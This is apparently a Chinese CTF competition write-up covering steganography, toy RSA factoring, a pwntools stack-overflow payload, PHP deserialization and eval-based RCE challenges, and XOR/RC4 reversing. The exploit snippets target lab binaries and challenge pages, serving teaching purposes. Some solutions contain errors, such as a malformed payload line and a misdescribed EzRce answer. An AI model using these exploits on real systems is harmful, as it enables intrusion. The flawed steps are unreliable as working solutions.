MISC
huhuhu
题目
题解
题目给了一张图和一个txt。
txt的提示为“flag在哪?你Guess一下啊!”
图片属性的备注部分可以看到社会主义核心价值观加密,解密后是“abc”
Outguess加密,用命令获得flag “outguess -k 'abc' -r 'mmm.jpg' flag.txt”
五子棋
题目
题解
藏了压缩包,binwalk分离,分离后需要密码,密码就是图片文件名“1020.png”中的1020。
解压后得到gif,GifSplitter直接分帧,发现有一张特别的图片。
Stegsolve分层,发现二维码,扫描后得到flag。
Crypto
easyRSA
题目
已知一段RSA加密的信息为:0xdc2eeeb2782c且已知加密所用的公钥:(N=322831561921859 e = 23)
请解密出明文,提交时请将数字转化为ascii码提交
比如你解出的明文是0x6162,那么请提交字符串ab
提交格式:PCTF{明文字符串}题解
直接分解N
fac: factoring 322831561921859
fac: using pretesting plan: normal
fac: no tune info: using qs/gnfs crossover of 95 digits
div: primes less than 10000
fmt: 1000000 iterations
Total factoring time = 0.0069 seconds
***factors found***
P8 = 23781539
P8 = 13574881
ans = 1p=23781539
q=13574881
n=322831561921859
c=0xdc2eeeb2782c
e=23
phi=(p-1)* (q-1)
d=gmpy2.invert(e,phi)
flag=long_to_bytes((pow(c,d,n)))
print(flag)
//b'3a5Y'PWN
stackoverflow
题解
要通过s实现栈溢出,s的基地址位于ebp-18h,要覆盖到ebp,需要传入0x18字节的数据,然后传入4字节数据覆盖ebp,再传入真实地址。

题目给出漏洞函数,地址在0x08049197。
from pwn import *
p=process('/test')
payload=b'a'*0x18+b*'a'*0x4+p32(0x8049199)
p.send(payload)
p.interactive()Web
EzData
题目
<?php
error_reporting(0);
highlight_file(__FILE__);
class date{
public $a;
public $b;
public $file;
public function __wakeup()
{
if(is_array($this->a)||is_array($this->b)){
die('no array');
}
if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) ){
$content=date($this->file);
$uuid=uniqid().'.txt';
file_put_contents($uuid,$content);
$data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
echo file_get_contents($data);
}
else{
die();
}
}
}
unserialize(base64_decode($_GET['code']));题解
a和b要传入不同但md5相同的值,可以用数字1与字符1进行绕过
file会被date函数格式化,通过添加反义符可防止格式化。
class date{
public $a;
public $b;
public $file;
}
$d=new date();
$d->a=1;
$d->b='1';
$d->file="/f\l\a\g";
echo serialize($d);EzRce
题目
<?php
error_reporting(0);
if(isset($_GET['url'])){
eval($_GET['url']);
}else{
highlight_file(__FILE__);
}
?> 题解
文件包含,url=file:///flag即可。
Reverse
EzXOR
题解
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+0h] [ebp-80h]
const char **v5; // [esp+4h] [ebp-7Ch]
const char **v6; // [esp+8h] [ebp-78h]
char Str1[50]; // [esp+1Ch] [ebp-64h] BYREF
char Str2[26]; // [esp+4Eh] [ebp-32h] BYREF
__int16 v9; // [esp+68h] [ebp-18h]
int v10; // [esp+6Ah] [ebp-16h]
int v11; // [esp+6Eh] [ebp-12h]
int v12; // [esp+72h] [ebp-Eh]
int v13; // [esp+76h] [ebp-Ah]
int v14; // [esp+7Ah] [ebp-6h]
__int16 v15; // [esp+7Eh] [ebp-2h]
__main();
strcpy(Str2, "E`}J]OrQF[V8zV:hzpV}fVF[t");
v9 = 0;
v10 = 0;
v11 = 0;
v12 = 0;
v13 = 0;
v14 = 0;
v15 = 0;
printf("Enter The Right FLAG:");
scanf("%s", Str1);
XOR(Str1, 3);
if ( !strcmp(Str1, Str2) )
{
printf("U Saved IT!\n");
return 0;
}
else
{
printf("Wrong!Try again!\n");
return main(v4, v5, v6);
}
}size_t __cdecl XOR(char *Str, char a2)
{
size_t result; // eax
unsigned int i; // [esp+2Ch] [ebp-Ch]
for ( i = 0; ; ++i )
{
result = strlen(Str);
if ( i >= result )
break;
Str[i] ^= 3 * a2;
}
return result;
}可以看出,字符串传入XOR函数,然后与3*3异或
s1="E`}J]OrQF[V8zV:hzpV}fVF[t"
for i in range(0,len(s1)):
flag+=chr(ord(s1[i])^9)
print(flag)
//AAAAAAAAAAAAAAAAAAAALitCTF{XOR_1s_3asy_to_OR}ezrc4
题解
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // esi
unsigned int v4; // eax
char Str[32]; // [rsp+20h] [rbp-168h] BYREF
__int64 Buf1[2]; // [rsp+40h] [rbp-148h] BYREF
int v8; // [rsp+50h] [rbp-138h]
char v9; // [rsp+54h] [rbp-134h]
char v10[296]; // [rsp+60h] [rbp-128h] BYREF
_main(argc, argv, envp);
IsDebuggerPresent_1();
Buf1[0] = 0x606EA290DC7CB2D5i64;
Buf1[1] = 0x3190B05971E41306i64;
v8 = -685914190;
v9 = 127;
printf(&byte_140011328);
printf(&byte_140011358);
printf(&byte_140011380);
printf(&byte_1400113B0);
printf("input flag:");
scanf("%s21", Str);
v3 = strlen(Str);
v4 = strlen(key);
rc4_init(v10, key, v4);
rc4_crypt(v10, Str, v3);
if ( !memcmp(Buf1, Str, 0x15ui64) )
printf("win!!!!!!!!!!!!!!!!!!\n");
else
printf("nonono\n");
return 0;
}Buf是一个初始串,将V10用key通过RC4加密后,与Buf比较,RC4是对称加密,同理用Buf和key进行加密就可以得到flag。

可以看到key被X_X函数引用了。
char *X_X()
{
char *result; // rax
_BYTE *v1; // rdx
result = key;
v1 = &key1;
do
*result++ ^= *v1++;
while ( result != &key[7] );
return result;
}在函数内对key进行了异或操作。
key="fenkey?"
key1=[0x0a,0x0c,0x1a,8,0x11,0x1F,0x1E]
realky=""
for i in range(0,7):
realky+=chr(ord(key[i])^key1[i])
print(realky)
//litctf!






文章评论